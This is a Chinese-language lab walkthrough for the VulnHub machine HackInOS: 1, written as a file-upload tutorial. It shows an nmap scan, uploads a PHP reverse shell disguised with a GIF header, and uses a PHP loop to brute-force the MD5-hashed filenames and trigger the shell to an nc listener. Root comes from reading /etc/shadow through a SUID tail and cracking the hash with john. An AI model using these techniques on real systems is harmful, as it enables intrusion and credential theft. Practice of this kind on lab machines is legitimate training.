第五节内容讲述了文件上传漏洞的利用原理,并在DVWA上进行简单的入侵实验。本节以实战的方式,结合vulnhub靶机HackInOS: 1让大家进一步文件上传漏洞的实际应用。
如果靶机部署有疑问,请留言!
目录
1.信息收集
kali IP为192.168.17.4
发现靶机IP 192.168.17.9
使用第二章nmap命令扫描靶机,
nmap -p `nmap -p- --min-rate=10000 -T4 192.168.17.9 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//` -sC -sV --min-rate=10000 192.168.17.9
Starting Nmap 7.80 ( https://nmap.org ) at 2021-08-26 09:00 EDT
Nmap scan report for 192.168.17.9
Host is up (0.00027s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 d9:c1:5c:20:9a:77:54:f8:a3:41:18:92:1b:1e:e5:35 (RSA)
| 256 df:d4:f2:61:89:61:ac:e0:ee:3b:5d:07:0d:3f:0c:87 (ECDSA)
|_ 256 8b:e4:45:ab:af:c8:0e:7e:2a:e4:47:e7:52:f9:bc:71 (ED25519)
8000/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-generator: WordPress 5.0.3
|_http-open-proxy: Proxy might be redirecting requests
| http-robots.txt: 2 disallowed entries
|_/upload.php /uploads
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Blog – Just another WordPress site
MAC Address: 08:00:27:20:A9:BC (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.73 seconds
扫描结果中有uploads目录,貌似可以上传文件。
打开浏览器果然有上传文件的地方,
查看网页源码,提示了一个github连接,有upload.php的源码。
阅读源码,发现只能上传png和gif图片,且上传后会对文件进行MD5加密。
2.获取低权限shell
将kali的php webshell进行修改,
cp /usr/share/webshells/php/php-reverse-shell.php ./rshell_gif.php
在webshell前面加上GIF98a可以绕过限制,
上传后显示被存到了uploads目录下,但没有告诉文件名,
通过upload.php源码的阅读,我们可以写一个php脚本遍历加密文件名,
<?php
for ($i = 1; $i <=100; $i++) {
$url = md5("rshell_gif.php". $i).(".php");
file_get_contents("http://192.168.17.9:8000/uploads/$url");
}
?>
执行上面的脚本,遍历加密后文件名,
同时在kali上开启nc,获得低权限shell.
3.提权
枚举SUID程序,发现tail是SUID权限。
用tail直接读shadow文件,得到加密的root用户密码,
使用join进行破解,密码john。
root/join切换root用户,成功!
4.总结
扫描后发现一个upload.php文件,查看网页源码,有个github连接,里面有upload.php源码。阅读源码发现上传文件类型做了限制,并且上传后文件名组合1-100进行md5加密。编写php脚本直接遍历1-100的md5加密组合文件名即可。
提权是一个SUID tail程序,直接查看shadow文件获取root用户的密码,john解密即可。
获取root权限后该靶机其实还没有结束,本节主要讲解文件上传,后续的部分大家可以参考其他writeup.